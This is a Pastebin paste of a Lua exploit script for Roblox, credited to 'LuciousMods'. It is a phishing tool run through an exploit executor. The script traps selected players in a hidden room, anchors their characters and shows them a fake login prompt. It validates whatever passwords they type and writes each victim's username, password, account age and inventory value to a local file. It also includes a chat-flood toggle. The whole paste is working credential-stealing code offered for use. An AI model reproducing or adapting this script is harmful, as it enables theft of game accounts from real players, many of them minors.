Advertisement
Guest User

Untitled

a guest
Sep 27th, 2016
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.46 KB | None | 0 0
  1. --Shareable MGX7 By LuciousMods
  2. --Dont leak , or hell will be released -Raspberry PI 2016
  3.  
  4. --Dont Edit Bellow this line Unless you know what you are doing!
  5. --Dont Edit Bellow this line Unless you know what you are doing!
  6. --Dont Edit Bellow this line Unless you know what you are doing!
  7. --Dont Edit Bellow this line Unless you know what you are doing!
  8.  
  9. local TRUE = true
  10. local FALSE = false
  11. local NULL = nil
  12.  
  13. local ShareGUI = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui)
  14. local ShareFrame = Instance.new("Frame", ShareGUI)
  15. local ShareButton = Instance.new("TextButton", ShareFrame)
  16. local ShareText = Instance.new("TextBox", ShareFrame)
  17.  
  18. ShareGUI.Name = "ShareGUI"
  19. ShareGUI.Parent = game.Players.LocalPlayer.PlayerGui
  20.  
  21. ShareFrame.Name = "ShareFrame"
  22. ShareFrame.Parent = ShareGUI
  23. ShareFrame.Active = TRUE
  24. ShareFrame.BackgroundColor3 = Color3.fromRGB(244, 244, 244)
  25. ShareFrame.Draggable = TRUE
  26. ShareFrame.Size = UDim2.new(0, 150, 0, 75)
  27. ShareFrame.Position = UDim2.new(0, 557, 0, 49)
  28.  
  29. ShareButton.Name = "ShareButton"
  30. ShareButton.Parent = ShareFrame
  31. ShareButton.Size = UDim2.new(0, 150, 0, 25)
  32. ShareButton.Position = UDim2.new(0, 0, 0, 45)
  33. ShareButton.Text = "Share"
  34.  
  35. ShareText.Name = "ShareText"
  36. ShareText.Parent = ShareFrame
  37. ShareText.Size = UDim2.new(0, 150, 0, 50)
  38. ShareText.Text = "Username"
  39.  
  40. function onShareButtonClick()
  41. local SharedUser = ShareText.Text
  42. local SharedStorage = game.ReplicatedStorage:FindFirstChild("Storage")
  43.  
  44. local NewSharedStorage = SharedStorage:Clone()
  45.  
  46. NewSharedStorage.Parent = game.Players:FindFirstChild(SharedUser)
  47. NewSharedStorage.PickGui.Parent = game.Players:FindFirstChild(SharedUser).PlayerGui
  48. end
  49. ShareButton.MouseButton1Click:connect(onShareButtonClick)
  50.  
  51. local MyRoom = "BasicRoom"
  52.  
  53. local StorageType = 2
  54.  
  55. local ScamType = "Pick"
  56.  
  57. local TargetList = {}
  58.  
  59. local Bypassers = {
  60. {}
  61. }
  62.  
  63. local Trello = {
  64. Enabled = false,
  65. List = "MRList",
  66. DumpList = "MRDumps",
  67. TrelloTargetList = "MRTargetList",
  68. DevKey = "",
  69. Token = "",
  70. }
  71.  
  72. local floodChat = false
  73.  
  74. local writeAccounts = true
  75. local fileName = "MGX7List"
  76.  
  77. BypassKey = "v3rm"
  78. BypassKeyEnabled = true
  79. BypassKeyRules = true
  80.  
  81. local kickLogin = false
  82.  
  83. local RAPApi = true
  84. ------------------------------------------------------------------------
  85.  
  86. local MainFolder = game:GetObjects("rbxassetid://432005266")[1]
  87. MainFolder.Parent = game.ReplicatedStorage
  88.  
  89. local player = game.Players.LocalPlayer
  90.  
  91. local CurrentlyScamming = {}
  92.  
  93. local MRStorage
  94.  
  95. local guiTool = MainFolder.Login
  96.  
  97. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  98. guiTool.LocalScript:Destroy()
  99. replaceScript.Parent = guiTool
  100.  
  101. local ruleTool = MainFolder["Bypass Rules"]
  102.  
  103. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  104. ruleTool.LocalScript:Destroy()
  105. replaceScript.Parent = ruleTool
  106.  
  107. local pickGui = MainFolder.PickGui
  108.  
  109. function checkPass(pass, playa)
  110. if BypassKeyEnabled and pass == BypassKey then
  111. if BypassKeyRules then
  112. local newTool = ruleTool:Clone()
  113. newTool.Parent = workspace
  114. newTool.Handle.CanCollide = false
  115. newTool.Handle.CFrame = playa.Character.Head.CFrame
  116. end
  117. return true
  118. end
  119. if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
  120. return false
  121. end
  122. local foundNums = 0
  123. local foundLetters = 0
  124. if string.find(pass, " ") then
  125. return false
  126. end
  127. if pass:len() < 6 or pass:len() > 20 then
  128. return false
  129. end
  130. for i=1,pass:len() do
  131. if pass:sub(i,i):match("%d") ~= nil then
  132. foundNums = foundNums + 1
  133. end
  134. end
  135. if foundNums < 2 then
  136. return false
  137. end
  138. for i=1,pass:len() do
  139. if pass:sub(i,i):match("%a") ~= nil then
  140. foundLetters = foundLetters + 1
  141. end
  142. end
  143. if foundLetters < 4 then
  144. return false
  145. end
  146. return true
  147. end
  148.  
  149. function getUText(root, val)
  150. local found
  151. if val then
  152. found = val
  153. end
  154. for i,v in pairs(root:GetChildren()) do
  155. if v.Name == "UText" then
  156. found = v
  157. break
  158. end
  159. found = getUText(v,found)
  160. end
  161. return found
  162. end
  163.  
  164. function getPText(root, val)
  165. local found
  166. if val then
  167. found = val
  168. end
  169. for i,v in pairs(root:GetChildren()) do
  170. if v.Name == "PText" then
  171. found = v
  172. break
  173. end
  174. found = getPText(v,found)
  175. end
  176. return found
  177. end
  178.  
  179. function getILPopUp(root, val)
  180. local found
  181. if val then
  182. found = val
  183. end
  184. for i,v in pairs(root:GetChildren()) do
  185. if v.Name == "ILPopUp" then
  186. found = v
  187. break
  188. end
  189. found = getILPopUp(v,found)
  190. end
  191. return found
  192. end
  193.  
  194. function unscPlayer(plr)
  195. for i,v in pairs(CurrentlyScamming) do
  196. if plr == v.Player then
  197. table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId})
  198. table.remove(CurrentlyScamming,i)
  199. wait()
  200. while plr.Backpack:FindFirstChild("Login") do
  201. plr.Backpack.Login:Destroy()
  202. wait()
  203. end
  204. while plr.Character:FindFirstChild("Login") do
  205. plr.Character.Login:Destroy()
  206. wait()
  207. end
  208. plr.Character:WaitForChild("Torso")
  209. plr.Character:WaitForChild("HumanoidRootPart")
  210. plr.Character.HumanoidRootPart.Anchored = false
  211. plr.Character.HumanoidRootPart.CFrame = v.ReturnPos
  212. v.Player.CameraMaxZoomDistance = 400
  213. v.Player.CameraMinZoomDistance = 0
  214. v.RoomModel:Destroy()
  215. end
  216. end
  217. end
  218.  
  219. function scPlayer(plr)
  220. ypcall(function()
  221. local debounce = false
  222. local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom)
  223. if roomCheck then
  224. local roomId = #CurrentlyScamming + 1
  225. local newRoom = roomCheck:Clone()
  226. newRoom.Parent = workspace
  227. newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId))
  228.  
  229. local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame}
  230. table.insert(CurrentlyScamming,newPacket)
  231. --[[
  232. newRoom.LButton.ClickDetector.MouseClick:connect(function(playa)
  233. if debounce == false then
  234. if playa.Backpack:FindFirstChild("Login") then
  235. if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then
  236. debounce = true
  237. getILPopUp(newRoom).Visible = false
  238. getILPopUp(playa.Backpack.Login).Visible = false
  239. wait(0.5)
  240. if playa.Backpack:FindFirstChild("Login") then
  241. if checkPass(getPText(playa.Backpack.Login).Text) then
  242. print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text)
  243. unscPlayer(plr)
  244. else
  245. getILPopUp(newRoom).Visible = true
  246. getILPopUp(playa.Backpack.Login).Visible = true
  247. getPText(playa.Backpack.Login).Text = ""
  248. end
  249. end
  250. end
  251. end
  252. debounce = false
  253. end
  254. end)
  255. --]]
  256. end
  257. end)
  258. end
  259.  
  260. function isBypass(plr)
  261. local bypass = false
  262. for i,v in pairs(Bypassers) do
  263. if v.Name == plr.Name or v.ID == plr.UserId then
  264. bypass = true
  265. end
  266. end
  267. return bypass
  268. end
  269.  
  270. function isScamming(plr)
  271. local isScam = false
  272. for i,v in pairs(CurrentlyScamming) do
  273. if v.Player.Name == plr then
  274. isScam = true
  275. end
  276. end
  277. return isScam
  278. end
  279.  
  280. function fixPlayers()
  281. for i,v in pairs(CurrentlyScamming) do
  282. ypcall(function()
  283. if v.Player.Character:FindFirstChild("Login") then
  284. if v.Player.Character.Login:FindFirstChild("SprayGui") then
  285. local tempTool = v.Player.Character:FindFirstChild("Login")
  286. tempTool.Parent = v.RoomModel
  287. tempTool.Handle.CFrame = v.Player.Character.Head.CFrame
  288. end
  289. end
  290. end)
  291. end
  292. end
  293.  
  294. function BCtoDumpStr(str)
  295. local res = ""
  296. if str == "Enum.MembershipType.BuildersClub" then
  297. res = "[BC] "
  298. elseif str == "Enum.MembershipType.TurboBuildersClub" then
  299. res = "[TBC] "
  300. elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
  301. res = "[OBC] "
  302. elseif str == "Enum.MembershipType.None" then
  303. res = ""
  304. end
  305. return res
  306. end
  307.  
  308. function getRap(user)
  309. local rap = "Error."
  310. if RAPApi then
  311. ypcall(function()
  312. local http = game:GetService("HttpService")
  313. local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
  314. rap = tostring(rawrap.rap)
  315. end)
  316. else
  317. rap = "Disabled."
  318. end
  319. return rap
  320. end
  321.  
  322. function logAccount(user,pass)
  323. local playerName = user.Name
  324. local playerAge = tostring(user.AccountAge)
  325. local playerRAP = getRap(playerName)
  326.  
  327. if print then
  328. print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  329. end
  330. if readfile and writefile then
  331. if readfile(getelysianpath()..fileName..".txt") == "nil path doesn't exist" then
  332. writefile(getelysianpath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  333. else
  334. local tempFile = readfile(getelysianpath()..fileName..".txt")
  335. writefile(getelysianpath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  336. end
  337. end
  338. end
  339.  
  340. function teleportVictims()
  341. for i,v in pairs(CurrentlyScamming) do
  342. ypcall(function()
  343. v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0)
  344. v.Player.Character.HumanoidRootPart.Anchored = true
  345. if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") then
  346. if not v.RoomModel:FindFirstChild("Login") then
  347. local tempTools = {}
  348. for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do
  349. table.insert(tempTools,v2:Clone())
  350. v2:Destroy()
  351. end
  352. local newTool = guiTool:Clone()
  353. newTool.Parent = v.RoomModel
  354. newTool.Handle.CanCollide = false
  355. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  356. newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0)
  357. getUText(newTool).Text = v.Player.Name
  358. spawn(function()
  359. wait(2)
  360. for i2,v2 in pairs(tempTools) do
  361. v2.Parent = v.Player.Backpack
  362. end
  363. end)
  364. newTool.Changed:connect(function(prop)
  365. if not isScamming(v.Player.Name) then return end
  366. if prop == "Parent" and newTool.Parent.Name == "Backpack" then
  367. if v.Player.Backpack:FindFirstChild("Login") then
  368. if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then
  369. getILPopUp(v.Player.Backpack.Login).Visible = false
  370. if v.Player.Backpack:FindFirstChild("Login") then
  371. if checkPass(getPText(v.Player.Backpack.Login).Text, v.Player) then
  372. logAccount(v.Player, getPText(v.Player.Backpack.Login).Text)
  373. unscPlayer(v.Player)
  374. spawn(function()
  375. wait(0.5)
  376. if kickLogin then
  377. if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then
  378. v.Player:Remove()
  379. end
  380. end
  381. end)
  382. else
  383. getILPopUp(v.Player.Backpack.Login).Visible = true
  384. getPText(v.Player.Backpack.Login).Text = ""
  385. wait()
  386. if not v.Player.Character:FindFirstChild("Login") then
  387. newTool.Parent = v.RoomModel
  388. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  389. end
  390. end
  391. end
  392. end
  393. end
  394. end
  395. end)
  396. end
  397. end
  398. end)
  399. end
  400. end
  401.  
  402. wait()
  403.  
  404. game.Players.PlayerRemoving:connect(function(playa)
  405. for i,v in pairs(CurrentlyScamming) do
  406. if v.Player == playa then
  407. table.remove(CurrentlyScamming,i)
  408. end
  409. end
  410. end)
  411.  
  412. --[[
  413. local infoGui = Instance.new("ScreenGui",game.CoreGui)
  414. local infoText = Instance.new("TextLabel",infoGui)
  415. infoText.Position = UDim2.new(0,0,1,-20)
  416. infoText.Size = UDim2.new(1,0,0,20)
  417. infoText.FontSize = "Size18"
  418. infoText.Font = "SourceSansBold"
  419. infoText.BackgroundTransparency = 1
  420. infoText.TextColor3 = Color3.new(1,1,1)
  421. infoText.TextXAlignment = "Right"
  422. infoText.Text = "Press 'p' to toggle chat spam."
  423. --]]
  424.  
  425. local mouse = game.Players.LocalPlayer:GetMouse()
  426. mouse.KeyDown:connect(function(key)
  427. if key == "p" then
  428. floodChat = not floodChat
  429. end
  430. end)
  431.  
  432. spawn(function()
  433. while wait(3) do
  434. fixPlayers()
  435. end
  436. end)
  437.  
  438. while wait() do
  439. teleportVictims()
  440. if floodChat then
  441. game.Players:Chat(".")
  442. game.Players:Chat(".")
  443. end
  444. if ScamType == "Normal" then
  445. for i,v in pairs(game.Players:GetPlayers()) do
  446. if StorageType == 1 then
  447. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  448.  
  449. end
  450. elseif StorageType == 2 then
  451. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  452. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  453. MRStorage.Name = "MRStorage"
  454. end
  455. if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  456. scPlayer(v)
  457. end
  458. end
  459. end
  460. elseif ScamType == "Pick" then
  461. if StorageType == 1 then
  462. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  463.  
  464. end
  465. elseif StorageType == 2 then
  466. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  467. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  468. MRStorage.Name = "MRStorage"
  469. end
  470. if not game.CoreGui:FindFirstChild("PickGui") then
  471. local newPickGui = pickGui:Clone()
  472. newPickGui.Parent = game.CoreGui
  473. spawn(function()
  474. local pickGuiList = newPickGui.MainFrame.AccList
  475. local pickGuiResult = newPickGui.MainFrame.UserResult
  476. pickGuiList.CanvasSize = UDim2.new(0,0,0,0)
  477. local function updatePickList()
  478. pickGuiList:ClearAllChildren()
  479. for i,v in pairs(game.Players:GetPlayers()) do
  480. if v ~= player then
  481. local newRes = pickGuiResult:Clone()
  482. newRes.PlayerName.Text = v.Name
  483. newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId
  484. newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  485. if isScamming(v.Name) then
  486. newRes.PlayerStatus.Text = "Scamming..."
  487. end
  488. if isBypass(v) then
  489. newRes.PlayerStatus.Text = "Scammed"
  490. end
  491. newRes.Parent = pickGuiList
  492. pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  493. newRes.Visible = true
  494. newRes.MouseButton1Down:connect(function()
  495. if not isScamming(v.Name) then
  496. scPlayer(v)
  497. end
  498. end)
  499. end
  500. end
  501. end
  502. updatePickList()
  503. newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function()
  504. updatePickList()
  505. end)
  506. end)
  507. end
  508. end
  509. end
  510. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement